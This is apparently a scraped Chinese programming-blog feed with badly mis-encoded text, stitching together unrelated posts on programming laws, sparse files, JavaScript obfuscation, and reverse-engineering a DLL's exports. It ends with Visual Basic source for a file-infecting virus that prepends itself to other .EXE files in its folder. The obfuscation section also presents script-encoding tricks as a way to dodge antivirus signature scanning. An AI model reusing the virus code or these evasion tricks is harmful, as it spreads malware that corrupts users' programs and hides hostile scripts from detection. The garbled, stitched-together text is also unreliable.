??xml version="1.0" encoding="utf-8" standalone="yes"?> [英文出处]Q?a >21 Laws of Computer Programming M一个有l验的程序员都知道,软g开发遵循着一些不成文的法则。然而,如果你不遵@q些法则也ƈ不意味着?x)受到惩|;相反Q有时你q会(x)获得意外的好处?/p>
下面的就是Y件编E中?1条法则:(x)
[译文出处]Q?a target=_blank>外刊IT评论
]]>
E疏(SparseQ文件的创徏
文gE疏化QsparsifyQ?/strong>
下面的方法都可以一个文件稀疏化?br>
1. cp:
cp~省使用--sparse=autoQ会(x)自动探测源文件中是否有空z,以决定目标文件是否ؓ(f)E疏文Ӟ使用--sparse=never?x)禁止创建稀疏文件?br>
2. cpio:
如果不加--sparse参数Q稀疏文件中的空z将被填满?
3. tar:
如果不加 -S --sparse参数Q稀疏文件中的空z将被填满?
文gE疏化QsparsifyQ效率比?/strong>
下面我们创徏一?00M的稀疏文Ӟ比较一下几U文件稀疏化Ҏ(gu)的效率?
由此可见Q上面几U文件稀疏化的方法中Qcp的效率最高;tar和cpio׃使用道Q效率下降?
使EXT2/EXT3文gpȝE疏化QsparsifyQ?/strong>
如何是一个文件系l的映像文gE疏化QRon Yorston为大家提供了几种Ҏ(gu)Q我觉得下面的方法最单:(x)
1. 使用Ron Yorston?a >zerofree文件系l中未用的块清零?br>
2.使用cp命o(h)使映像文件稀疏化Q?
EXT2/EXT3文gpȝ的sparse_super参数
q个参数与EXT2/EXT3是否支持Sparse文g无关Q当打开该参数时Q文件系l将使用更少的超U块QSuper blockQ备份,以节省空间?/p>
如下的命令可以查看该参数Q?br>
或者:(x)
可以通过使用Q?
或者:(x)
来设|该参数?
参考资?br>
是不是很单?不要高兴Q解密也同L(fng)单,解密代码都摆l别人啦Qunescape()Q!呵呵
二:(x)转义字符""的妙?/strong>
大家可能对{义字W?"不太熟?zhn)Q但对于javascript提供了一些特D字W如Qn Q换行)?r Q回车)? Q单引号Q等应该是有所了解的吧Q其?"后面q可以跟八进制或十六q制的数字,如字W?a"则可以表CZؓ(f)Q?141"?x61"Q注意是写字符"x"Q,至于双字节字W如汉字"?则仅能用十六q制表示?u9ED1"Q注意是写字符"u"Q,其中字符"u"表示是双字节字符Q根据这个原理例子代码则可以表示为:(x)
八进制{义字W串如下:
<SCRIPT LANGUAGE="javascript">
eval("1411541451621645042u9ED1u5BA2u9632u7EBF425173")
</SCRIPT>
十六q制转义字符串如?
<SCRIPT LANGUAGE="javascript">
eval("x61x6Cx65x72x74x28x22u9ED1u5BA2u9632u7EBFx22x29x3B")
</SCRIPT>
q次没有了解码函敎ͼ因ؓ(f)javascript执行时会(x)自行转换Q同栯码也是很单如下:(x)
<SCRIPT LANGUAGE="javascript">
alert("x61x6Cx65x72x74x28x22u9ED1u5BA2u9632u7EBFx22x29x3B")
</SCRIPT>
׃(x)弹出对话框告诉你解密后的l果Q?br> <SCRIPT LANGUAGE="javascript"> ~码后的l果如下Q?/p>
<SCRIPT LANGUAGE="JScript.Encode">#@~^FgAAAA==@#@&lsDD`J黑客防线r#p@#@&FgMAAA==^#~@</SCRIPT> 够难看懂得吧Q但相应的解密工h已出来,而且q解密网都有!因ؓ(f)其解密网代码过多,我就不多说拉Q给大家介绍一下我独创的解密代码,如下Q?/p>
<SCRIPT LANGUAGE="JScript.Encode"> 咋样Q够单吧Q它是原理是Q编码后的代码运行前IE?x)先对其q行解码Q如果我们先把加密的代码攑օ一个自定义函数如上面的decode()中,然后对自定义函数decode调用toString()Ҏ(gu)Q得到的是解码后的代码Q?/p>
如果你觉得这L(fng)码得到的代码LANGUAGE属性是JScript.EncodeQ很Ҏ(gu)让h识破Q那么还有一个几乎不Zh知的window对象的方法execScript()Q其原Ş为:(x) window.execScript( sExpression, sLanguage ) 参数Q?br> 利用它我们可以很好的q行~码后的javascript代码Q如下:(x) <SCRIPT LANGUAGE="javascript"> 你可以利用方法二对其中的""号内的字W串再进行编码,使得"JScript.Encode"以及(qing)~码特征?#@~^"不出玎ͼ效果?x)更好?/p>
四:(x)LdNULI字W(十六q制00HQ?/strong> <S C RI P T L ANG U A G E =" J a v a S c r i p t "> 如何Q是不是昑־׃八糟的?如果不知道方法的人很难想到要L里面?I字W?Q?0HQ的Q?br> <SCRIPT LANGUAGE="javascript"> 臛_如果我看到这L(fng)代码是不?x)有心思去分析它的Q你哪? <SCRIPT LANGUAGE="javascript"> q行得到加密l果为:(x) o%CD%D1%D7%E6%9CJ%u9EF3%uFA73%uF1D4%u14F1%u7EE1Kd 相应的加密后解密的代码如下:(x) <SCRIPT LANGUAGE="javascript"> 七:(x)错误的利?/strong> <SCRIPT LANGUAGE="javascript">
三:(x)使用Microsoft出品的脚本编码器Script Encoder来进行编?/strong>
工具的用就不多介绍啦!我是直接使用javascript调用控gScripting.Encoder完成的编码!代码如下Q?/p>
var Senc=new ActiveXObject("Scripting.Encoder");
var code='<SCRIPT LANGUAGE="javascript">rnalert("《我׃赗?);rn</SCRIPT>';
var Encode=Senc.EncodeScriptFile(".htm",code,0,"");
alert(Encode);
</SCRIPT>
function decode()
alert(decode.toString());
</SCRIPT>
sExpression: 必选项。字W串(String)。要被执行的代码?br>
sLanguage : 必选项。字W串(String)。指定执行的代码的语a。默认gؓ(f) Microsoft JScript
使用Ӟ前面?window"可以省略不写Q?/p>
execScript("#@~^FgAAAA==@#@&lsDD`J我爱一起r#p@#@&FgMAAA==^#~@","JScript.Encode")
</SCRIPT>
一ơ偶然的实验Q我发现在HTML|页中Q意位|添加Q意个数的"I字W?QIE照样?x)正常显C其中的内容Qƈ正常执行其中的javascript 代码Q而添加的"I字W?我们在用一般的~辑器查看时Q会(x)昄形如I格或黑块,使得原码很难看懂Q如用记事本查看?I字W??x)变?I格"Q利用这个原理加密结果如下:(x)Q其中显C的"I格"代表"I字W?Q?/p>
a l er t (" ?nbsp;?nbsp;一 ?) ;
< / SC R I P T>
五:(x)无用内容混ؕ以及(qing)换行I格TAB大法
在javascript代码中我们可以加入大量的无用字符串或数字Q以?qing)无用代码和注释内容{等Q真正的有用代码埋没在其中Qƈ把有用的代码中能加入换行、空根{TAB的地方加入大量换行、空根{TABQƈ可以把正常的字符串用""来进行换行,q样׃(x)使得代码难以看懂Q如我加密后的Ş式如下:(x)
"xajgxsadffgds";1234567890
625623216;var $=0;alert//@$%%&*()(&(^%^
//cctv function//
(//hhsaasajx xc
/*
asjgdsgu*/
"我爱一?//ashjgfgf
/*
@#%$^&%$96667r45fggbhytjty
*/
//window
)
;"#@$#%@#432hu";212351436
</SCRIPT>
六:(x)自写解密函数?/strong>
q个Ҏ(gu)和一、二差不多,只不q是自己写个函数对代码进行解密,很多VBS病毒使用q种Ҏ(gu)对自w进行加密,来防止特征码扫描Q下面是我写的一个简单的加密解密函数Q加密代码如下(详细参照文g"加密.htm"Q:(x)
function compile(code)
{
var c=String.fromCharCode(code.charCodeAt(0)+code.length);
for(var i=1;i<code.length;i++)
alert(escape(c));
}
compile('alert("《我׃赗?);')
</SCRIPT>
function uncompile(code)
{
code=unescape(code);
var c=String.fromCharCode(code.charCodeAt(0)-code.length);
for(var i=1;i<code.length;i++)
return c;
}
eval(uncompile("o%CD%D1%D7%E6%9CJ%u9EF3%uFA73%uF1D4%u14F1%u7EE1Kd"));
</SCRIPT>
利用try{}catch(e){}l构对代码进行测试解密,虽然q个x很好Q呵呵,夸夸自己Q,因ؓ(f)实用性不大,我仅l个例子
var a='alert("《我׃赗?);';
var c="";
for(var i=0;i<a.length;i++)
alert(c);
//上面的是加密代码Q当然如果真正用这个方法时Q不?x)把加密写上?br>//现在变量c是加密后的代码
//下面的函数t()先假讑ֈ始密码ؓ(f)Q,解密执行Q?br>//遇到错误则把密码加1Q然后接着解密执行Q直到正运?br>var d=c; //保存加密后的代码
var b=0; //假定初始密码?
t();
function t()catch(e){
c="";
for(var i=0;i<d.length;i++)
b+=1;
t();
//setTimeout("t()",0);
}
}
</SCRIPT>
不知道诸位看官是否有q这L(fng)l历Q在不经意之间发C个DLL文gQ它里边有不有的导出函数——但是由于你不知道如何调用这些函敎ͼ所以只能大发感慨而又无能为力焉。固然有些知名的DLL可以直接通过搜烦引擎来找到它的用方式(比如本文中的例子ipsearcher.dllQ,不过我们诚然不能希望自己总能交到q样的好q。所以在本文中,李马希望通过自己文理不甚通达的讲解能够给大家以授Z渔的效果?/p>
先决条g
阅读本文Q你需要具备以下先xӞ(x)
准备好了吗?那么我们做一个热w运动吧先?/p>
热n——函数调用约?/strong>
q里要详l介l的是有兛_数调用约定的内容Q如果你已经了解了这斚w的内容,可以跌本节?/p>
你可能在学习(fn)WindowsE序设计的时候早已接触过“函数调用U定”q个词汇了,那个时候你所了解的内容可能是一个笼l的概念Q内容大抉|说函数调用约定就是指的函数参数进栈顺序以?qing)堆栈修正方式。譬如cdecl调用U定是函数参数自双左q栈Q由调用者修复堆栈;stdcall调用U定亦是函数参数自右而左q栈Q但是由被调用者修复堆?#8230;…噢不Q这太晦涩了——在源代码上我们是无法看到这些东西的Q?/p>
那么我们别无选择Q只有深入到汇编一层了。考虑以下C++代码Q?/p>
#include <stdio.h> |
对应的汇~代码ؓ(f)Q?/p>
; int __cdecl max1( int a, int b ) |
好了Q我来简要介l一下。函数参C入函C是借由堆栈D完成的Q也是各个参C某种ơ序推入SS中——在cdecl与stdcallU定中,q个ơ序都是自右而左的。另外,׃参数推入了堆栈致堆栈指针ESP发生了变化,所以要在函数结束的时候重C正ESP。从上边的汇~代码中你也可以很清楚地看到QcdeclU定是在调用max1之后修正的ESPQ而stdcallU定则是在max2q回时借由RETN 8完成了这个修正工作?/p>
另外Q从上边的汇~代码中q可以看刎ͼ函数的返回值是由EAX带回的?/p>
庖丁解牛
在了解了以上的知识后Q我们就可以使用调试器来调试那个未知的DLL了。可以说Q这整个的调试过E充满了惊险和刺ȀQ而且我们q需要一定的技巧——如果你像我一样不喜欢阅读汇编代码的话?/p>
在本文中Q我所选择的调试示例是FTerm中附带的ipsearcher.dllQ它提供了对U真IP数据库的查询接口。下图是用Dependency Walker对其分析的结果:(x)
你可以看刎ͼq里Ҏ(gu)两个导出函数QLookupAddress和_GetAddressQ那么我们可以按照返回倹{调用约定、函数名、参数列表的序它们声明如下:(x)
? ? LookupAddress( ? ); |
是的Q有太多的未知,下面李马要逐一地破解这些问受?/p>
调试器不可能孤立地对DLLq行调试Q我们所需要的应该是一个合适的EXEQ这h助于我们的探I工作。在q里我选择的EXE是我~写的ipsearcher.exeQ当然这可能?x)让你认为我q篇文章的组l顺序有问题——毕竟是我已l知道了q两个导出函C后(~写了ipsearcher.exeQ还要假装成不知道的样子来对ipsearcher.dll来进行探IӞ所以我军_在下文中不对ipsearcher.exe的代码进行Q何关注,而是直接q入到ipsearcher.dll的领I?/p>
打开调试器,载入ipsearcher.exe。当ipsearcher.dll被装载后Q会(x)引发一个访问异常,可以忽略q个异常l箋调试。根据Dependency Walker的分析结果,在ipsearcher.dll?x00001BB0?x00001C40处各下一个断炏V现在在“IP地址”中输入一个IP地址Q这里以寒泉BBS的IPZQ,点击“查询”Q会(x)发现指o(h)跛_0x00001C40中(也就是_GetAddressQ,它的代码如下Q?/p>
10001C40 MOV EAX,DWORD PTR SS:[ESP+4] ; 一个参?/font> |
很短的几行代码,不过它已l可以提供这些信息了Q?/p>
于是Q我们可以替换一下刚才的问号了:(x)
? CDECL LookupAddress( ?, ? ); |
下面可以q行单步调试了,当代码步?0001C44Ӟ你会(x)发现寄存器窗口发生了如下的变化:(x)
“202.207.177.9”l于出现了,q样一来我们可以l对问号q行替换了:(x)
? CDECL LookupAddress( PCSTR, ? ); |
现在l箋对代码进行跟t,是进入LookupAddress的时候了。我们可以从先前_GetAddress的代码中可以发现Q这两个导出函数一直在围绕10009BE8q个地址做文章,那么我们p在单步调试LookupAddress的同时关注这个地址的数据改变。几步跟t之后,你会(x)发现10009BE8开头的8字节Q两个DWORDQ数据发生了改变Q变成了10009AB4?0009B1C。那么我们再转向q两个地址Q会(x)发现Q?/p>
q样一来就很清楚了Q?0009BE8是一个字W串指针的数l,它有两个元素。也是_(d)我们的函数声明可以换成这P(x)
? CDECL LookupAddress( PCSTR, PSTR* ); |
接下来需要确定的是LookupAddress的返回g。纵观LookupAddress的返回代码,你会(x)发现q样的片断:(x)
; 片断1 |
也就是说Q这个函数有两个q回|(x)0?。那么最后的真相l于大白于天下—?/p>
BOOL CDECL LookupAddress( PCSTR, PSTR* ); |
GetProcAddressQ?/strong>
到此为止Q这两个函数的声明终于让我们扑և来了。也怽?x)觉得这够了——接下来是用typedef定义函数指针Q然后用LoadLibrary、GetProcAddress调用q些函数的事情了?/p>
如果你真的这么认为的话,那我认ؓ(f)我有必要向你介绍q另外的一U方式?/p>
首先请你建立一个名为ipsearcher.def的文Ӟ然后在其中写入如下内容:(x)
LIBRARY "ipsearcher" |
文件保存后Q进入到命o(h)行模式下Q输入以下命令(前提是你拥有Visual Studio的附带工具lib.exeq有正确的\径指向。以Visual Studio 6.0ZQ这个工具通常位于Microsoft Visual Studio\VC98\Bin下)Q?/p>
lib /def:ipsearcher.def
执行的结果有一个警告,不必理会(x)。这时候我们会(x)发现Qlib为我们生成了一个ipsearcher.lib?/p>
然后Q我们l编写ipsearcher.h文gQ如下:(x)
#ifndef IPSEARCHER_H |
大功告成Q这h们就个光U秃的ipsearcher.dll做了一份SDK开发包Q而不必再使用动态加载的Ҏ(gu)了?/p>
ȝ一下再
其实Q探I一个DLLq像我q里所讲述的这么简单。这工作很可能需要阅d量的汇编代码Q了解DLL函数体的程才能使真相大白于天下。另外,q不能排除有的DLL被加密、加壟뀁反跟踪……也就是说对于ipsearcher.dllQ那直就是我捡了个便宜来借花献佛(jng)了?/p>
Option Explicit
Private Victim As String '要感染的文g的名?br>Private HostLen As Long '要感染的文g的大?br>Private vbArray() As Byte '病毒的代?br>Private hArray() As Byte '要感染的文g的代?br>Private lenght As Long
Private MySize As Integer '病毒的大?/p>
Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
Private Declare Function GetExitCodeProcess Lib "kernel32" (ByVal hProcess As Long, lpExitCode As Long) As Long
Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Private iResult As Long
Private hProg As Long
Private idProg As Long
Private iExit As Long
Const STILL_ACTIVE As Long = &H103
Const PROCESS_ALL_ACCESS As Long = &H1F0FFF
Private Sub form_Initialize()
Dim i As Long
On Error GoTo vbVerror '出错处理
'原理Q将生成病毒文g的代码读出,_在要被感染的文件的后面?br>Open App.Path & "\" & App.EXEName & ".exe" For Binary Access Read _
As #1
ReDim MyArray(LOF(1) - 1)
MySize = LOF(1)
ReDim vbArray(MySize)
Get #1, 1, vbArray
Close #1
'q是在读自己的代?/p>
Victim = Dir(App.Path & "\" & "*.EXE") '随便选一个文Ӟ目前只是在病毒所在的目录下随机选一个,来你可以修改,让它不断的@环搜索计机上的所有文件。)
While Victim <> ""
If format(Victim, ">") <> format(App.EXEName & ".EXE", ">") Then
Open App.Path & "\" & Victim For Binary Access Read As #1
ReDim hArray(LOF(1))
Get #1, 1, hArray
Close #1
'd病毒自n的代?/p>
If hArray(&H69) <> &H4D Then
i = hArray(&H3C)
If hArray(i) = &H50 Then
Open App.Path & "\" & Victim For Binary Access Write As #1
Put #1, , vbArray
Put #1, MySize, hArray
Close #1
End If '要保证被感染的不是空文gQ不是圈套)
End If
End If
'd准备被感染的文g的代?/p>
Victim = Dir() 'Next
Wend
'下面的工作是Z保证病毒不会(x)重复感染一个文Ӟ也不?x)自我感染?/p>
Open App.Path & "\" & App.EXEName & ".exe" For Binary Access Read As #1
lenght = LOF(1) - MySize
If lenght <> 0 Then
ReDim vbArray(lenght - 1)
Get #1, MySize, vbArray
Close #1
Open App.Path & "\" & App.EXEName & ".eve" For Binary Access Write As #1
Put #1, , vbArray
Close #1
idProg = Shell(App.Path & "\" & App.EXEName & ".eve", vbNormalFocus)
hProg = OpenProcess(PROCESS_ALL_ACCESS, False, idProg)
GetExitCodeProcess hProg, iExit
Do While iExit = STILL_ACTIVE
DoEvents
GetExitCodeProcess hProg, iExit
Loop
Kill App.Path & "\" & App.EXEName & ".eve"
Else
Close #1
End If
End
vbVerror: '出错处理Q空着可以了
End Sub